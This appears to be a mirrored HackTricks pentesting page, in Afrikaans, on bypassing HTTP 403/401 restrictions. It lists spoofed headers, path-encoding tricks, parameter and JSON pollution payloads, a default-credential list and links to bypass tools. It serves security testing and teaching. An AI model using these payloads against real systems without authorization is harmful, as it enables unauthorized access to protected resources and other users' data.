mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
5.9 KiB
Markdown
119 lines
5.9 KiB
Markdown
# 403 & 401 Bypasses
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## HTTP Verbs/Methods Fuzzing
|
||
|
||
Probeer om **verskillende werkwoorde** te gebruik om toegang tot die lêer te verkry: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||
|
||
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die inligting kan verkry**. Maar jy moet steeds 'n manier vind om daardie inligting te exfiltreer.
|
||
- Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf.
|
||
- Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees.
|
||
|
||
## HTTP Headers Fuzzing
|
||
|
||
- **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||
- Probeer om [**ander User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) te gebruik om toegang tot die hulpbron te verkry.
|
||
- **Fuzz HTTP Headers**: Probeer om HTTP Proxy **Koppe**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
||
|
||
- `X-Originating-IP: 127.0.0.1`
|
||
- `X-Forwarded-For: 127.0.0.1`
|
||
- `X-Forwarded: 127.0.0.1`
|
||
- `Forwarded-For: 127.0.0.1`
|
||
- `X-Remote-IP: 127.0.0.1`
|
||
- `X-Remote-Addr: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `X-Original-URL: 127.0.0.1`
|
||
- `Client-IP: 127.0.0.1`
|
||
- `True-Client-IP: 127.0.0.1`
|
||
- `Cluster-Client-IP: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `Host: localhost`
|
||
|
||
As die **pad beskerm is**, kan jy probeer om die padbeskerming te omseil deur hierdie ander koppe te gebruik:
|
||
|
||
- `X-Original-URL: /admin/console`
|
||
- `X-Rewrite-URL: /admin/console`
|
||
|
||
- As die bladsy **agter 'n proxy** is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **of** [**hop-by-hop koppe**](../../pentesting-web/abusing-hop-by-hop-headers.md)** te misbruik.**
|
||
- Fuzz [**spesiale HTTP koppe**](special-http-headers.md) op soek na verskillende respons.
|
||
- **Fuzz spesiale HTTP koppe** terwyl jy **HTTP Metodes** fuzz.
|
||
- **Verwyder die Host-kop** en miskien sal jy in staat wees om die beskerming te omseil.
|
||
|
||
## Path **Fuzzing**
|
||
|
||
As _/path_ geblokkeer is:
|
||
|
||
- Probeer om `/%2e/path` te gebruik (as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook `/%252e**/path` (dubbele URL-kodering)
|
||
- Probeer **Unicode omseiling**: _/**%ef%bc%8f**path_ (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geënkodeer word, sal dit _//path_ wees en miskien het jy reeds die _/path_ naamkontrole omseil
|
||
- **Ander pad omseilings**:
|
||
- site.com/secret –> HTTP 403 Verbode
|
||
- site.com/SECRET –> HTTP 200 OK
|
||
- site.com/secret/ –> HTTP 200 OK
|
||
- site.com/secret/. –> HTTP 200 OK
|
||
- site.com//secret// –> HTTP 200 OK
|
||
- site.com/./secret/.. –> HTTP 200 OK
|
||
- site.com/;/secret –> HTTP 200 OK
|
||
- site.com/.;/secret –> HTTP 200 OK
|
||
- site.com//;//secret –> HTTP 200 OK
|
||
- site.com/secret.json –> HTTP 200 OK (ruby)
|
||
- Gebruik al [**hierdie lys**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in die volgende situasies:
|
||
- /FUZZsecret
|
||
- /FUZZ/secret
|
||
- /secretFUZZ
|
||
- **Ander API omseilings:**
|
||
- /v3/users_data/1234 --> 403 Verbode
|
||
- /v1/users_data/1234 --> 200 OK
|
||
- {“id”:111} --> 401 Ongeautoriseerd
|
||
- {“id”:\[111]} --> 200 OK
|
||
- {“id”:111} --> 401 Ongeautoriseerd
|
||
- {“id”:{“id”:111\}} --> 200 OK
|
||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Besoedeling)
|
||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Besoedeling)
|
||
|
||
## **Parameter Manipulation**
|
||
|
||
- Verander **param waarde**: Van **`id=123` --> `id=124`**
|
||
- Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||
- Verwyder die parameters
|
||
- Herordeneer parameters
|
||
- Gebruik spesiale karakters.
|
||
- Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
|
||
|
||
## **Protocol weergawe**
|
||
|
||
As jy HTTP/1.1 gebruik, **probeer om 1.0** te gebruik of toets selfs of dit **2.0 ondersteun**.
|
||
|
||
## **Ander Omseilings**
|
||
|
||
- Kry die **IP** of **CNAME** van die domein en probeer om **direk met dit in verbinding te tree**.
|
||
- Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||
- **Verander die protokol**: van http na https, of van https na http
|
||
- Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
|
||
|
||
## **Brute Force**
|
||
|
||
- **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
|
||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM auth.
|
||
```:Common creds
|
||
admin admin
|
||
admin password
|
||
admin 1234
|
||
admin admin1234
|
||
admin 123456
|
||
root toor
|
||
test test
|
||
guest guest
|
||
```
|
||
## Outomatiese Gereedskap
|
||
|
||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|